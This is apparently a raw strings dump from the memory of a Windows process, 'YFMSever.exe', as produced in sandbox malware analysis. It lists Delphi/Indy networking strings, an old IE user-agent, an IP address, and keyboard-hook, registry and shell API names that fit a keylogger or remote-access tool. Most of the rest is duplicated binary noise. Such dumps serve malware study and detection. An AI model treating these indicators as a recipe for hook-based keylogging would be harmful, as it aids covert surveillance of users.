I.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/RA.RA.R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1SA0SA0SA0SA0SA0SA0SA0SA0R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/P@/P@/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/QB/QB/QB/QB/QB/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.PA.PA.
=5(;4%=5(=4'
=5(;4%=5(=4'
;2(:1':1'
;2(:1':1'
KWindows
KWindows
eEWB.IEConst
eEWB.IEConst
0IdHTTPHeaderInfo
0IdHTTPHeaderInfo
IdTCPServer
IdTCPServer
IdTCPStream
IdTCPStream
Font.Charset
Font.Charset
Font.Color
Font.Color
Font.Height
Font.Height
Font.Name
Font.Name
Font.Style
Font.Style
PrintOptions.HTMLHeader.Strings
PrintOptions.HTMLHeader.Strings
PrintOptions.Orientation
PrintOptions.Orientation
ProxyParams.BasicAuthentication
ProxyParams.BasicAuthentication
ProxyParams.ProxyPort
ProxyParams.ProxyPort
Request.ContentLength
Request.ContentLength
Request.ContentRangeEnd
Request.ContentRangeEnd
Request.ContentRangeStart
Request.ContentRangeStart
Request.ContentType
Request.ContentType
Request.Accept
Request.Accept
Request.BasicAuthentication
Request.BasicAuthentication
Request.UserAgent
Request.UserAgent
7Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
7Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTPOptions
HTTPOptions
GetCPInfo
GetCPInfo
XTP8h%C
XTP8h%C
3F%u`r
3F%u`r
The procedure entry point %s could not be located in the dynamic link library %s
The procedure entry point %s could not be located in the dynamic link library %s
GetKeyNameTextA
GetKeyNameTextA
GetKeyState
GetKeyState
SHFileOperationA
SHFileOperationA
UnhookWindowsHookEx
UnhookWindowsHookEx
G({.NJ:
G({.NJ:
shell32.dll
shell32.dll
Dadvapi32.dll
Dadvapi32.dll
CreateIoCompletionPort
CreateIoCompletionPort
EnumWindows
EnumWindows
RegCreateKeyExA
RegCreateKeyExA
wininet.dll
wininet.dll
gdi32.dll
gdi32.dll
RegEnumKeyExA
RegEnumKeyExA
@8\3@(&@
@8\3@(&@
m.KS!?IZ
m.KS!?IZ
.IjS0Z
.IjS0Z
4.Yz8
4.Yz8
N.Px
N.Px
%F
%F
}H.wN
}H.wN
?.MLW
?.MLW
ShellExecuteA
ShellExecuteA
SetViewportOrgEx
SetViewportOrgEx
GetKeyboardState
GetKeyboardState
LoadKeyboardLayoutA
LoadKeyboardLayoutA
GetWindowsDirectoryA
GetWindowsDirectoryA
version.dll
version.dll
RegDeleteKeyA
RegDeleteKeyA
SetWindowsHookExA
SetWindowsHookExA
RegCloseKey
RegCloseKey
|N.Uip
|N.Uip
GetKeyboardType
GetKeyboardType
.HX2'4
.HX2'4
J['%Y%c%]"
J['%Y%c%]"
.Jz\
.Jz\
RP.Ji|
RP.Ji|
.VGZZQ?XD 9
.VGZZQ?XD 9
bk.Zi7
bk.Zi7
6O.PJF>B&
6O.PJF>B&
.NV'Pg
.NV'Pg
E.PO*J
E.PO*J
b?.RjB
b?.RjB
).RJ$7
).RJ$7
\.dfXX
\.dfXX
HCtl.Lj
HCtl.Lj
.VN&5
.VN&5
SRF98.XORO
SRF98.XORO
<.cd:>
<.cd:>
~z%D&
~z%D&
jWyfTP
jWyfTP
)N.QuHG`
)N.QuHG`
vXp.aGB
vXp.aGB
.goU[
.goU[
dS.IZf\6V
dS.IZf\6V
j.QU@'
j.QU@'
C.XV$
C.XV$
tCP z
tCP z
=H.Dt[
=H.Dt[
B3uDpZ
B3uDpZ
.Pv
.Pv
.XD%O86
.XD%O86
*?9[_'^-.
*?9[_'^-.
U^.bfD
U^.bfD
Vj.eJd
Vj.eJd
&6%X"
&6%X"
%f z'W
%f z'W
T.cBe
T.cBe
@Z.CB
@Z.CB
j.YW MYd
j.YW MYd
9.Dy7
9.Dy7
5J{"WD%S#^
5J{"WD%S#^
.ja*3
.ja*3
$.GE(X
$.GE(X
"7b%D
"7b%D
\ @%X
\ @%X
..Ld?/o|S[
..Ld?/o|S[
X.TJH
X.TJH
ôpQ
ôpQ
)%x5a
)%x5a
~M%x8u*
~M%x8u*
L.HJ7?
L.HJ7?
.ALh&
.ALh&
.DPs_
.DPs_
_.PPw
_.PPw
z'.ANC
z'.ANC
nX.oF
nX.oF
L.JOS
L.JOS
..JG^
..JG^
B.XG6
B.XG6
".LGR
".LGR
G.Xfg
G.Xfg
..VG8
..VG8
.LG>S
.LG>S
D..GD
D..GD
F.DOP
F.DOP
.ZO"R
.ZO"R
.BO2R
.BO2R
^z.PG
^z.PG
5.TO RoZR
5.TO RoZR
F.PdYXn
F.PdYXn
%fT@sd
%fT@sd
.PdYX/
.PdYX/
%fV@sd
%fV@sd
=%X,7
=%X,7
FÃE
FÃE
[.FGD
[.FGD
X.VO/
X.VO/
.JXZp
.JXZp
Q0.EL
Q0.EL
.DO@U
.DO@U
3
3
.LF;F
.LF;F
.JGHU
.JGHU
.ZO4XxS
.ZO4XxS
.uVX?
.uVX?
>.GB
>.GB
.GPF?J
.GPF?J
<.mg>
<.mg>
InternetOpenUrlA
InternetOpenUrlA
*o.eIv
*o.eIv
EnumThreadWindows
EnumThreadWindows
user32.dll
user32.dll
RegQueryInfoKeyA
RegQueryInfoKeyA
ActivateKeyboardLayout
ActivateKeyboardLayout
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
RegFlushKey
RegFlushKey
GetKeyboardLayoutList
GetKeyboardLayoutList
The ordinal %u could not be located in the dynamic link library %s
The ordinal %u could not be located in the dynamic link library %s
DeleteUrlCacheEntry
DeleteUrlCacheEntry
iphlpapi.dll
iphlpapi.dll
GetKeyboardLayout
GetKeyboardLayout
RegOpenKeyExA
RegOpenKeyExA
MapVirtualKeyA
MapVirtualKeyA
errorUrl
errorUrl
20.20.20.20
20.20.20.20
JPEG error #%d
JPEG error #%d
Error creating SSL context. Could not load root certificate.
Error creating SSL context. Could not load root certificate.
Could not load certificate.#Could not load key, check password.
Could not load certificate.#Could not load key, check password.
SSL status: "%s"
SSL status: "%s"
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Command not supported.
Command not supported.
Address type not supported.$Error accepting connection with SSL.
Address type not supported.$Error accepting connection with SSL.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Operation now in progress.
Operation now in progress.
Operation already in progress.
Operation already in progress.
Socket operation on non-socket.
Socket operation on non-socket.
Protocol not supported.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Protocol family not supported.0Address family not supported by protocol family.
Chunk StartedDThis authentication method is already registered with class name %s.
Chunk StartedDThis authentication method is already registered with class name %s.
%s is not a valid service.
%s is not a valid service.
Socket Error # %d
Socket Error # %d
%s is not a valid IP address.
%s is not a valid IP address.
Operation would block.
Operation would block.
File "%s" not found1Only one TIdAntiFreeze can exist per application."%d: Circular links are not allowed
File "%s" not found1Only one TIdAntiFreeze can exist per application."%d: Circular links are not allowed
No data to read.$Can not bind in port range (%d - %d)
No data to read.$Can not bind in port range (%d - %d)
Invalid Port Range (%d - %d)
Invalid Port Range (%d - %d)
Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Max line length exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Resolving hostname %s.
Connecting to %s.
Connecting to %s.
.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s
OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.
No help keyword specified.
No help keyword specified.
Alt Clipboard does not support Icons
Alt Clipboard does not support Icons
Cannot open clipboard/Menu '%s' is already being used by another form
Cannot open clipboard/Menu '%s' is already being used by another form
No help found for %s#No context-sensitive help installed$No topic-based help system installed
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Property %s does not exist
Thread creation error: %s
Thread creation error: %s
Thread Error: %s (%d)
Thread Error: %s (%d)
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic
Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic
Unsupported clipboard format
Unsupported clipboard format
$''%s'' is not a valid component name
$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Error reading %s%s%s: %s
Failed to create key %s
Failed to create key %s
Failed to get data for '%s'
Failed to get data for '%s'
Failed to set data for '%s'
Failed to set data for '%s'
Resource %s not found
Resource %s not found
Ancestor for '%s' not found
Ancestor for '%s' not found
Cannot assign a %s to a %s
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot create file "%s". %s
Cannot open file "%s". %s
Cannot open file "%s". %s
Unable to write to %s
Unable to write to %s
Operation not supported
Operation not supported
External exception %x
External exception %x
Interface not supported
Interface not supported
%s (%s, line %d)
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
System Error. Code: %d.
1Format '%s' invalid or incompatible with argument
1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
No argument for format '%s'"Variant method calls not supported
Invalid variant operation%Invalid variant operation (%s%.8x)
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Integer overflow Invalid floating point operation
Integer overflow Invalid floating point operation
Invalid pointer operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Privileged instruction(Exception %s in module %s at %p.
!'%s' is not a valid integer value('%s' is not a valid floating point value
!'%s' is not a valid integer value('%s' is not a valid floating point value
'%s' is not a valid date
'%s' is not a valid date
'%s' is not a valid time!'%s' is not a valid date and time
'%s' is not a valid time!'%s' is not a valid date and time
I/O error %d
I/O error %d
YFMSever.exe_3420_rwx_00565000_00001000:
GetCPInfo
GetCPInfo
YFMSever.exe_3420_rwx_00578000_00002000:
kernel32.dll
kernel32.dll
GetKeyState
GetKeyState
SHFileOperationA
SHFileOperationA
UnhookWindowsHookEx
UnhookWindowsHookEx
YFMSever.exe_3420_rwx_0057B000_00001000:
Dadvapi32.dll
Dadvapi32.dll
CreateIoCompletionPort
CreateIoCompletionPort
EnumWindows
EnumWindows
RegCreateKeyExA
RegCreateKeyExA
wininet.dll
wininet.dll